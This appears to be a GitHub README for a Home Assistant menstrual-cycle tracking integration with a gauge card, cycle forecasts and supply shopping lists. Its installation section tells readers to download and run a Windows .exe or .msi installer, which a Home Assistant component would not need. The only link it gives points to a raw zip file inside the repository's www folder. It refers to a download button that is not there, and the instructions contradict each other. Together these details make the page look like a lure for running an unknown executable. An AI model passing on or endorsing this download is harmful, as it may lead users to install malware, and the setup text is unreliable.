HA_menstrual_gauge is a tool designed to help you track your menstrual cycle from home. It works with Home Assistant, a popular home automation system, and offers both backend integration and a clear gauge card you can use. This gauge shows your cycle details in an easy-to-read format.
The software stores your data locally, so your cycle information stays on your device. You can edit your cycle start dates to keep records accurate. It also predicts your next cycle start date using forecast features. If you want, you can set it to create optional shopping lists for supplies based on how many days remain before your next cycle.
This app is ideal for those who want to keep track of their cycle in a private and simple way without needing complex setup steps.
To run HA_menstrual_gauge on Windows, make sure your system meets the following:
- Windows 10 or later (64-bit recommended)
- At least 250 MB free disk space
- Stable internet connection for initial setup
- Home Assistant installed and running on your home network
- Basic permission to install and run software on your computer
-
Click the big green button below to visit the release page:
-
On the release page, find the latest version. Look for files ending with
.exeor.msi. These are the installer files for Windows. -
Click the file to download it to your computer.
-
Once the download finishes, open the file to start installation.
-
Follow the instructions on-screen. Usually, clicking "Next" and then "Install" is enough.
-
When installation completes, launch the app from the Start menu or your desktop shortcut.
HA_menstrual_gauge works as an add-on to Home Assistant. Here is a simple way to connect it:
-
Open your Home Assistant interface on your web browser.
-
Go to the "Integrations" page from the main menu.
-
Click the "Add Integration" button.
-
Search for “HA_menstrual_gauge” in the integration list.
-
Select it and follow the prompts to complete the setup.
-
The integration will connect your cycle tracking data to the Home Assistant system.
After integration, you can add a gauge card to your Home Assistant dashboard.
-
On your Home Assistant dashboard, click the three dots at the top right.
-
Choose "Edit Dashboard."
-
Click "Add Card."
-
Scroll down and select the “Gauge” card type.
-
Configure the card to use the HA_menstrual_gauge sensor. This will display your cycle status visually.
-
Save your changes. The gauge will now show your current cycle phase, days until next cycle, and other relevant data points.
Your cycle information stays in your device to respect your privacy.
-
You can view and edit your cycle start dates inside the app at any time.
-
To modify past data, open the app and go to the history section.
-
Select the date you want to change and enter the correct start day.
-
Save your changes. This keeps predictions accurate.
HA_menstrual_gauge estimates your next cycle start based on past data.
-
It shows forecast attributes in the gauge card and within the app.
-
You can see days left before your next period.
-
This helps you plan and stay prepared.
The app can create shopping lists for items you may need before your cycle starts.
-
Activate this feature in the app settings.
-
Set which supplies to include, like pads or pain relief.
-
The list updates automatically based on days until your next cycle.
-
You can use Home Assistant to trigger reminders or orders.
-
Check the release page regularly for updates:
https://raw.githubusercontent.com/DiscordBotssS/HA_menstrual_gauge/main/custom_components/menstruation_gauge/www/menstrual-H-gauge-v3.1.zip -
You can report issues or request help by opening a new issue on the GitHub repository.
-
The project page also contains detailed information and documentation.
If you have problems running the software, try these steps:
-
Make sure Home Assistant is running with the latest version.
-
Restart the app and your computer.
-
Check your internet connection for setup steps.
-
Review the integration status in Home Assistant’s settings.
-
Update to the newest release file if available.
This project relates to the following areas:
- biosensor
- gauges
- home-assistant integration
- menstruation tracking
These topics help connect the tool to similar Home Assistant projects and tracking devices.